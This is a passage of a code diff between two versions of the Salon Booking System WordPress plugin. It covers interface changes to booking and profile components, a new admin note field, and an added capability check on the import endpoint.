}\n-.customer-note-text {\n-  font-size: 13px;\n+.note-block {\n+  padding: 8px 0;\n+  border-bottom: 1px solid var(--color-border, #E2E8F0);\n+}\n+.note-block:last-child { border-bottom: none; }\n+.note-block-label {\n+  font-size: 12px;\n   color: var(--color-text-secondary, #64748B);\n-  padding-top: 8px;\n-  border-top: 1px solid var(--color-border, #E2E8F0);\n-  margin-top: 4px;\n+  margin-bottom: 4px;\n+  display: block;\n+}\n+.note-block-text {\n+  font-size: 14px;\n+  color: var(--color-text-primary, #0F172A);\n+  margin: 0;\n+  line-height: 1.5;\n+  white-space: pre-wrap;\n }\n .service-row-item {\n   padding: 8px 0;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FCustomField.vue \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FCustomField.vue\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FCustomField.vue\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FCustomField.vue\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,25 +1,23 @@\n \u003Ctemplate>\n-    \u003Cb-row class=\"field\">\n-        \u003Cb-col sm=\"12\">\n-            \u003Ctemplate v-if=\"type === 'text'\">\n-                \u003Cb-form-input v-model.lazy=\"elValue\" :id=\"key\" \u002F>\n-                \u003Clabel class=\"label\" :for=\"key\">{{ label }}\u003C\u002Flabel>\n-            \u003C\u002Ftemplate>\n-            \u003Ctemplate v-if=\"type === 'textarea'\">\n-                \u003Cb-form-textarea v-model.lazy=\"elValue\" :id=\"key\">\u003C\u002Fb-form-textarea>\n-                \u003Clabel class=\"label\" :for=\"key\">{{ label }}\u003C\u002Flabel>\n-            \u003C\u002Ftemplate>\n-            \u003Ctemplate v-if=\"type === 'checkbox'\">\n-                \u003Cb-form-checkbox v-model=\"elValue\" :id=\"key\">\n-                    {{ label }}\n-                \u003C\u002Fb-form-checkbox>\n-            \u003C\u002Ftemplate>\n-            \u003Ctemplate v-if=\"type === 'select'\">\n-                \u003Cb-form-select v-model=\"elValue\" :id=\"key\" :options=\"options\">\u003C\u002Fb-form-select>\n-                \u003Clabel class=\"label\" :for=\"key\">{{ label }}\u003C\u002Flabel>\n-            \u003C\u002Ftemplate>\n-        \u003C\u002Fb-col>\n-    \u003C\u002Fb-row>\n+    \u003Cdiv class=\"custom-field\">\n+        \u003Ctemplate v-if=\"type === 'text'\">\n+            \u003Clabel class=\"label\" :for=\"key\">{{ displayLabel }}\u003C\u002Flabel>\n+            \u003Cb-form-input v-model.lazy=\"elValue\" :id=\"key\" class=\"custom-field-control\" \u002F>\n+        \u003C\u002Ftemplate>\n+        \u003Ctemplate v-else-if=\"type === 'textarea'\">\n+            \u003Clabel class=\"label\" :for=\"key\">{{ displayLabel }}\u003C\u002Flabel>\n+            \u003Cb-form-textarea v-model.lazy=\"elValue\" :id=\"key\" class=\"custom-field-control\" \u002F>\n+        \u003C\u002Ftemplate>\n+        \u003Ctemplate v-else-if=\"type === 'checkbox'\">\n+            \u003Cb-form-checkbox v-model=\"elValue\" :id=\"key\" class=\"custom-field-checkbox\">\n+                {{ displayLabel }}\n+            \u003C\u002Fb-form-checkbox>\n+        \u003C\u002Ftemplate>\n+        \u003Ctemplate v-else-if=\"type === 'select'\">\n+            \u003Clabel class=\"label\" :for=\"key\">{{ displayLabel }}\u003C\u002Flabel>\n+            \u003Cb-form-select v-model=\"elValue\" :id=\"key\" :options=\"options\" class=\"custom-field-control\" \u002F>\n+        \u003C\u002Ftemplate>\n+    \u003C\u002Fdiv>\n \u003C\u002Ftemplate>\n \n \u003Cscript>\n@@ -61,14 +59,28 @@\n             type() {\n                 return this.field.type\n             },\n-            label() {\n-                return this.field.label\n+            displayLabel() {\n+                return this.sanitizeLabel(this.field.label)\n             },\n             options() {\n-                return this.field.options.map(i => ({value: i.value, text: i.label}))\n+                const opts = this.field.options || []\n+                return opts.map(i => ({\n+                    value: i.value,\n+                    text: this.sanitizeLabel(i.label),\n+                }))\n             },\n         },\n         methods: {\n+            sanitizeLabel(str) {\n+                if (str == null) {\n+                    return ''\n+                }\n+                let s = String(str)\n+                \u002F* Stored\u002Fexported labels sometimes contain literal \"\\u00a0\" or NBSP *\u002F\n+                s = s.replace(\u002F\\\\u00a0\u002Fgi, ' ').replace(\u002F\\\\u200b\u002Fgi, '')\n+                s = s.replace(\u002F\\u00a0\u002Fg, ' ').replace(\u002F\\u200b\u002Fg, '')\n+                return s.trim()\n+            },\n             update() {\n                 this.$emit('update', this.key, this.elValue);\n             },\n@@ -78,11 +90,28 @@\n \u003C\u002Fscript>\n \n \u003Cstyle scoped>\n-    .field + .field {\n-        margin-top: 10px;\n+    .custom-field + .custom-field {\n+        margin-top: 1.25rem;\n     }\n     .label {\n-        color: #888;\n+        display: block;\n+        margin: 0 0 6px;\n+        padding: 0;\n+        color: var(--color-text-secondary, #64748B);\n         font-size: 14px;\n+        font-weight: 600;\n+        line-height: 1.35;\n+    }\n+    .custom-field-control {\n+        margin: 0 !important;\n+    }\n+    .custom-field-checkbox {\n+        margin: 0;\n+        padding-top: 2px;\n+    }\n+    .custom-field :deep(.form-control),\n+    .custom-field :deep(.form-select) {\n+        margin-bottom: 0;\n+        margin-top: 0;\n     }\n \u003C\u002Fstyle>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FEditBookingItem.vue \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FEditBookingItem.vue\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FEditBookingItem.vue\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FEditBookingItem.vue\t2026-04-21 18:43:56.000000000 +0000\n@@ -19,6 +19,7 @@\n         :customerAddress=\"customer ? customer.address : booking.customer_address\"\n         :customerNotes=\"booking.note\"\n         :customerPersonalNotes=\"customer ? customer.note : booking.customer_personal_note\"\n+        :adminNote=\"booking.admin_note\"\n         :services=\"booking.services\"\n         :discounts=\"booking.discounts\"\n         :status=\"booking.status\"\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FEditBooking.vue \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FEditBooking.vue\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FEditBooking.vue\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FEditBooking.vue\t2026-04-21 18:43:56.000000000 +0000\n@@ -300,9 +300,18 @@\n             \u003CCustomField :field=\"field\" :value=\"getCustomFieldValue(field.key, field.default_value)\" @update=\"updateCustomField\" \u002F>\n           \u003C\u002Ftemplate>\n           \u003Cdiv class=\"form-field mt-2\">\n+            \u003Clabel class=\"field-label\" for=\"admin_note\">{{ getLabel('adminNoteLabel') || 'Administration note' }}\u003C\u002Flabel>\n+            \u003Ctextarea\n+                v-model=\"elAdminNote\"\n+                id=\"admin_note\"\n+                class=\"form-control\"\n+                rows=\"3\"\n+            >\u003C\u002Ftextarea>\n+          \u003C\u002Fdiv>\n+          \u003Cdiv class=\"form-field mt-2\">\n             \u003Clabel class=\"field-label\" for=\"customer_personal_notes\">{{ getLabel('customerPersonalNotesLabel') }}\u003C\u002Flabel>\n             \u003Cb-form-textarea\n-                v-model.lazy=\"elCustomerPersonalNotes\"\n+                v-model=\"elCustomerPersonalNotes\"\n                 id=\"customer_personal_notes\"\n                 :placeholder=\"getLabel('customerPersonalNotesPlaceholder')\"\n                 rows=\"2\"\n@@ -395,6 +404,11 @@\n         return '';\n       },\n     },\n+    adminNote: {\n+      default: function () {\n+        return '';\n+      },\n+    },\n     services: {\n       default: function () {\n         return [];\n@@ -480,6 +494,7 @@\n       elCustomerAddress: this.customerAddress,\n       elCustomerNotes: this.customerNotes,\n       elCustomerPersonalNotes: this.customerPersonalNotes,\n+      elAdminNote: this.adminNote,\n       elServices: [...this.services].map(s => ({\n         service_id: s.service_id,\n         assistant_id: s.assistant_id,\n@@ -867,6 +882,7 @@\n         discounts: this.elDiscounts,\n         note: this.elCustomerNotes,\n         customer_personal_note: this.elCustomerPersonalNotes,\n+        admin_note: this.elAdminNote,\n         save_as_new_customer: this.saveAsNewCustomer,\n         custom_fields: this.elCustomFields,\n       }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002FUserProfileTab.vue \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002FUserProfileTab.vue\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002FUserProfileTab.vue\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002FUserProfileTab.vue\t2026-04-21 18:43:56.000000000 +0000\n@@ -77,13 +77,41 @@\n               \u003Cspan class=\"menu-row-label\">{{ isUpdating ? 'Updating…' : 'Force App Update' }}\u003C\u002Fspan>\n             \u003C\u002Fspan>\n           \u003C\u002Fbutton>\n-          \u003Cbutton class=\"menu-row\" v-if=\"isAdmin\" @click=\"resetCalendar\" :disabled=\"isResetting\">\n+          \u003Cbutton\n+            class=\"menu-row\"\n+            v-if=\"isAdmin\"\n+            type=\"button\"\n+            @click=\"resetCalendar\"\n+            :disabled=\"isResetting\"\n+            :aria-busy=\"isResetting\"\n+          >\n             \u003Cspan class=\"menu-row-left\">\n               \u003Cfont-awesome-icon icon=\"fa-solid fa-trash\" class=\"menu-icon menu-icon--warning\" :class=\"{ 'fa-spin': isResetting }\" \u002F>\n               \u003Cspan class=\"menu-row-label\">{{ isResetting ? 'Resetting…' : 'Reset Calendar Cache' }}\u003C\u002Fspan>\n             \u003C\u002Fspan>\n+            \u003Cspan\n+              v-if=\"showResetCalendarSuccess\"\n+              class=\"menu-row-feedback menu-row-feedback--success\"\n+              aria-hidden=\"true\"\n+            >\n+              \u003Cfont-awesome-icon icon=\"fa-solid fa-check\" \u002F>\n+            \u003C\u002Fspan>\n           \u003C\u002Fbutton>\n         \u003C\u002Fdiv>\n+        \u003Cdiv\n+          v-if=\"calendarResetBanner\"\n+          class=\"profile-inline-notice\"\n+          :class=\"'profile-inline-notice--' + calendarResetBanner.variant\"\n+          role=\"status\"\n+          aria-live=\"polite\"\n+        >\n+          \u003Cfont-awesome-icon\n+            :icon=\"calendarResetBanner.variant === 'success' ? 'fa-regular fa-circle-check' : 'fa-solid fa-circle-xmark'\"\n+            class=\"profile-inline-notice-icon\"\n+            aria-hidden=\"true\"\n+          \u002F>\n+          \u003Cspan>{{ calendarResetBanner.text }}\u003C\u002Fspan>\n+        \u003C\u002Fdiv>\n       \u003C\u002Fdiv>\n \n       \u003Cdiv class=\"menu-section\">\n@@ -115,6 +143,12 @@\n       isLoading: true,\n       user: null,\n       isResetting: false,\n+      \u002F** Brief checkmark on the reset row after success *\u002F\n+      showResetCalendarSuccess: false,\n+      \u002F** Inline message under App menu (toast is often unavailable in bootstrap-vue-3) *\u002F\n+      calendarResetBanner: null,\n+      calendarResetBannerTimer: null,\n+      showResetSuccessTimer: null,\n       isUpdating: false,\n       activeUsers: [],\n       isLoadingUsers: false,\n@@ -256,11 +290,26 @@\n             console.error('Logout failed:', error);\n           });\n     },\n+    clearCalendarResetTimers() {\n+      if (this.calendarResetBannerTimer) {\n+        clearTimeout(this.calendarResetBannerTimer);\n+        this.calendarResetBannerTimer = null;\n+      }\n+      if (this.showResetSuccessTimer) {\n+        clearTimeout(this.showResetSuccessTimer);\n+        this.showResetSuccessTimer = null;\n+      }\n+    },\n     async resetCalendar() {\n       if (this.isResetting) return;\n \n+      this.clearCalendarResetTimers();\n+      this.calendarResetBanner = null;\n+      this.showResetCalendarSuccess = false;\n+\n       try {\n         this.isResetting = true;\n+        await this.$nextTick();\n \n         let clearedCount = 0;\n \n@@ -282,86 +331,181 @@\n         \u002F\u002F 3. Dispatch event so Calendar tab reloads data (works even if Calendar is mounted but hidden)\n         window.dispatchEvent(new CustomEvent('sln-calendar-cache-cleared'));\n \n-        this.$bvToast.toast(\n+        \u002F\u002F Let \"Resetting…\" + spinner paint (work above is synchronous and very fast)\n+        await new Promise((r) => setTimeout(r, 450));\n+\n+        const successText =\n           clearedCount > 0\n-            ? `Cache cleared (${clearedCount} items). Calendar data reloaded.`\n-            : 'Cache cleared. Switch to Calendar tab to reload data.',\n-          {\n-            title: 'Cache Cleared',\n-            variant: 'success',\n-            solid: true,\n-            autoHideDelay: 5000,\n-          }\n-        );\n-        \n+            ? `Removed ${clearedCount} stored item${clearedCount === 1 ? '' : 's'}. Calendar data was refreshed in the background.`\n+            : 'Browser storage for this app was cleared. Open the Calendar tab if you want to confirm fresh data.';\n+\n+        this.calendarResetBanner = { variant: 'success', text: successText };\n+        this.showResetCalendarSuccess = true;\n+        this.showResetSuccessTimer = setTimeout(() => {\n+          this.showResetCalendarSuccess = false;\n+          this.showResetSuccessTimer = null;\n+        }, 2800);\n+\n+        this.calendarResetBannerTimer = setTimeout(() => {\n+          this.calendarResetBanner = null;\n+          this.calendarResetBannerTimer = null;\n+        }, 8000);\n+\n+        this.$bvToast?.toast(successText, {\n+          title: 'Cache cleared',\n+          variant: 'success',\n+          solid: true,\n+          autoHideDelay: 5000,\n+          toaster: 'b-toaster-top-center',\n+        });\n       } catch (error) {\n-        this.$bvToast.toast(\n+        await new Promise((r) => setTimeout(r, 200));\n+        this.calendarResetBanner = {\n+          variant: 'danger',\n+          text: 'Could not clear calendar storage. Try again or use Force App Update.',\n+        };\n+        this.calendarResetBannerTimer = setTimeout(() => {\n+          this.calendarResetBanner = null;\n+          this.calendarResetBannerTimer = null;\n+        }, 8000);\n+        this.$bvToast?.toast(\n           'Failed to clear calendar cache. Please try again or contact support.',\n           {\n-            title: 'Reset Failed',\n+            title: 'Reset failed',\n             variant: 'danger',\n             solid: true,\n             autoHideDelay: 5000,\n+            toaster: 'b-toaster-top-center',\n           }\n         );\n       } finally {\n         this.isResetting = false;\n       }\n     },\n+    clearForceUpdateSafetyTimer() {\n+      if (this._forceUpdateSafetyTimer != null) {\n+        clearTimeout(this._forceUpdateSafetyTimer);\n+        this._forceUpdateSafetyTimer = null;\n+      }\n+    },\n+    \u002F**\n+     * Race a promise so SW\u002Fcache APIs cannot hang the UI forever (some WebViews stall on unregister).\n+     *\u002F\n+    _withTimeout(promise, ms, label) {\n+      return Promise.race([\n+        promise,\n+        new Promise((_, reject) => {\n+          setTimeout(() => reject(new Error(`${label} timed out`)), ms);\n+        }),\n+      ]);\n+    },\n     async forcePwaUpdate() {\n       if (this.isUpdating) return;\n \n+      this.clearForceUpdateSafetyTimer();\n+\n       try {\n         this.isUpdating = true;\n-        console.log('=== ADMIN: FORCE PWA UPDATE ===');\n+        console.log('=== FORCE PWA UPDATE ===');\n \n-        \u002F\u002F 1. Unregister all service workers\n+        \u002F\u002F 1. Unregister all service workers (bounded wait — never hang \"Updating…\")\n         if ('serviceWorker' in navigator) {\n-          const registrations = await navigator.serviceWorker.getRegistrations();\n+          let registrations = [];\n+          try {\n+            registrations = await this._withTimeout(\n+              navigator.serviceWorker.getRegistrations(),\n+              8000,\n+              'serviceWorker.getRegistrations'\n+            );\n+          } catch (e) {\n+            console.warn('Force update: getRegistrations failed', e);\n+          }\n           for (const registration of registrations) {\n-            await registration.unregister();\n-            console.log('   Unregistered service worker');\n+            try {\n+              await this._withTimeout(registration.unregister(), 8000, 'serviceWorker.unregister');\n+              console.log('   Unregistered service worker');\n+            } catch (e) {\n+              console.warn('Force update: unregister failed', e);\n+            }\n           }\n         }\n \n         \u002F\u002F 2. Clear all Cache API caches\n         if ('caches' in window) {\n-          const cacheNames = await caches.keys();\n+          let cacheNames = [];\n+          try {\n+            cacheNames = await this._withTimeout(caches.keys(), 8000, 'caches.keys');\n+          } catch (e) {\n+            console.warn('Force update: caches.keys failed', e);\n+          }\n           for (const name of cacheNames) {\n-            await caches.delete(name);\n-            console.log('   Deleted cache:', name);\n+            try {\n+              await this._withTimeout(caches.delete(name), 5000, 'caches.delete');\n+              console.log('   Deleted cache:', name);\n+            } catch (e) {\n+              console.warn('Force update: cache delete failed', name, e);\n+            }\n           }\n         }\n \n         \u002F\u002F 3. Clear localStorage and sessionStorage\n-        localStorage.clear();\n-        sessionStorage.clear();\n+        try {\n+          localStorage.clear();\n+          sessionStorage.clear();\n+        } catch (e) {\n+          console.warn('Force update: storage clear failed', e);\n+        }\n         console.log('   Cleared storage');\n \n         console.log('=== RELOADING TO LOAD FRESH CODE ===');\n-        this.$bvToast.toast(\n+        this.$bvToast?.toast(\n           'PWA cache cleared. Page will reload with latest code.',\n           {\n             title: 'Update Complete',\n             variant: 'success',\n             solid: true,\n             autoHideDelay: 2000,\n+            toaster: 'b-toaster-top-center',\n           }\n         );\n \n-        \u002F\u002F Hard reload to load fresh code (SW already unregistered, caches cleared)\n+        \u002F\u002F Hard reload — success path never set isUpdating=false; if reload is blocked (some PWAs),\n+        \u002F\u002F unlock after a delay so the button is not stuck forever.\n+        this._forceUpdateSafetyTimer = setTimeout(() => {\n+          this._forceUpdateSafetyTimer = null;\n+          this.isUpdating = false;\n+        }, 12000);\n+\n         setTimeout(() => {\n-          window.location.reload();\n+          try {\n+            window.location.reload();\n+          } catch (e) {\n+            console.error('Force update: reload failed', e);\n+            this.clearForceUpdateSafetyTimer();\n+            this.isUpdating = false;\n+            this.$bvToast?.toast(\n+              'Could not reload automatically. Close this app tab and open it again.',\n+              {\n+                title: 'Reload blocked',\n+                variant: 'warning',\n+                solid: true,\n+                autoHideDelay: 8000,\n+                toaster: 'b-toaster-top-center',\n+              }\n+            );\n+          }\n         }, 500);\n       } catch (error) {\n         console.error('Force update error:', error);\n-        this.$bvToast.toast(\n+        this.clearForceUpdateSafetyTimer();\n+        this.$bvToast?.toast(\n           'Failed to clear cache. Try a hard refresh (Ctrl+Shift+R) or close and reopen the PWA.',\n           {\n             title: 'Update Failed',\n             variant: 'danger',\n             solid: true,\n             autoHideDelay: 5000,\n+            toaster: 'b-toaster-top-center',\n           }\n         );\n         this.isUpdating = false;\n@@ -381,6 +525,8 @@\n     if (this.userRefreshInterval) {\n       clearInterval(this.userRefreshInterval);\n     }\n+    this.clearCalendarResetTimers();\n+    this.clearForceUpdateSafetyTimer();\n   },\n };\n \u003C\u002Fscript>\n@@ -517,6 +663,68 @@\n   color: var(--color-text-muted, #94A3B8);\n }\n \n+.menu-row-feedback {\n+  flex-shrink: 0;\n+  display: flex;\n+  align-items: center;\n+  justify-content: center;\n+  animation: profile-feedback-pop 0.35s ease;\n+}\n+\n+.menu-row-feedback--success {\n+  color: #059669;\n+  font-size: 18px;\n+}\n+\n+@keyframes profile-feedback-pop {\n+  from {\n+    opacity: 0;\n+    transform: scale(0.6);\n+  }\n+  to {\n+    opacity: 1;\n+    transform: scale(1);\n+  }\n+}\n+\n+.profile-inline-notice {\n+  margin: 12px 16px 0;\n+  padding: 12px 14px;\n+  border-radius: 12px;\n+  font-size: 14px;\n+  font-weight: 500;\n+  line-height: 1.45;\n+  display: flex;\n+  align-items: flex-start;\n+  gap: 10px;\n+}\n+\n+.profile-inline-notice-icon {\n+  flex-shrink: 0;\n+  margin-top: 2px;\n+  font-size: 18px;\n+}\n+\n+.profile-inline-notice--success {\n+  background: #ecfdf5;\n+  color: #065f46;\n+  border: 1px solid #a7f3d0;\n+}\n+\n+.profile-inline-notice--success .profile-inline-notice-icon {\n+  color: #059669;\n+}\n+\n+.profile-inline-notice--danger {\n+  background: #fef2f2;\n+  color: #991b1b;\n+  border: 1px solid #fecaca;\n+}\n+\n+.profile-inline-notice--danger .profile-inline-notice-icon {\n+  color: #dc2626;\n+}\n+\n .menu-row--toggle {\n   cursor: default;\n   border-bottom: 1px solid var(--color-border, #e2e8f0);\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fmixin.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fmixin.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fmixin.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fmixin.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -2,6 +2,7 @@\n import dayjs from 'dayjs'\n import customParseFormat from 'dayjs\u002Fplugin\u002FcustomParseFormat'\n import isBetween from 'dayjs\u002Fplugin\u002FisBetween'\n+import isoWeek from 'dayjs\u002Fplugin\u002FisoWeek'\n import localizedFormat from 'dayjs\u002Fplugin\u002FlocalizedFormat'\n \n import 'dayjs\u002Flocale\u002Fen'\n@@ -16,6 +17,7 @@\n \n dayjs.extend(customParseFormat)\n dayjs.extend(isBetween)\n+dayjs.extend(isoWeek)\n dayjs.extend(localizedFormat)\n \n \u002F\u002F Provide a minimal mock in dev mode so the app renders without a WordPress backend\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -10,15 +10,21 @@\n \n     public function execute()\n     {\n-        $data = array();\n-        $nonce = isset($_GET['_wpnonce']) ? $_GET['_wpnonce'] : $_POST['_wpnonce'];\n-        if (!wp_verify_nonce($nonce, '_sln_action_import')) {\n+        if ( ! current_user_can( 'manage_salon' ) ) {\n             wp_die(\n                 '\u003Cp>' . esc_html__( 'Sorry, you are not allowed access to this page.' ) . '\u003C\u002Fp>',\n                 403\n             );\n-\t\t\t\n-\t\t}\n+        }\n+\n+        $data  = array();\n+        $nonce = isset( $_GET['_wpnonce'] ) ? $_GET['_wpnonce'] : ( isset( $_POST['_wpnonce'] ) ? $_POST['_wpnonce'] : '' );\n+        if ( ! wp_verify_nonce( $nonce, '_sln_action_import' ) ) {\n+            wp_die(\n+                '\u003Cp>' . esc_html__( 'Sorry, you are not allowed access to this page.' ) . '\u003C\u002Fp>',\n+                403\n+            );\n+        }\n \n         $step   = ucfirst(isset($_POST['step']) ? sanitize_text_field( wp_unslash($_POST['step']) ) : '');\n         $step = isset($step) && !empty($step) ? $step :  ucfirst(isset($_GET['step']) ? sanitize_text_field( wp_unslash($_GET['step']) ) : '');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstract.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstract.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstract.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstract.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,14 +1,14 @@\n-\u003C?php\r\n-\r\n-abstract class SLN_Action_Ajax_Abstract\r\n-{\r\n-    \u002F** @var  SLN_Plugin *\u002F\r\n-    protected $plugin;\r\n-\r\n-    public function __construct($plugin)\r\n-    {\r\n-        $this->plugin = $plugin;\r\n-    }\r\n-\r\n-    abstract public function execute();\r\n-}\r\n+\u003C?php\n+\n+abstract class SLN_Action_Ajax_Abstract\n+{\n+    \u002F** @var  SLN_Plugin *\u002F\n+    protected $plugin;\n+\n+    public function __construct($plugin)\n+    {\n+        $this->plugin = $plugin;\n+    }\n+\n+    abstract public function execute();\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -10,12 +10,12 @@\n \tpublic function execute()\n \t{\n \t    $plugin = $this->plugin;\n-\t    \n+\n \t    if (!isset($_POST['sln']['tips'])) {\n \t\t$this->addError(__('Tips amount is missing', 'salon-booking-system'));\n \t\treturn array('errors' => $this->getErrors());\n \t    }\n-\t    \n+\n \t    $tips = 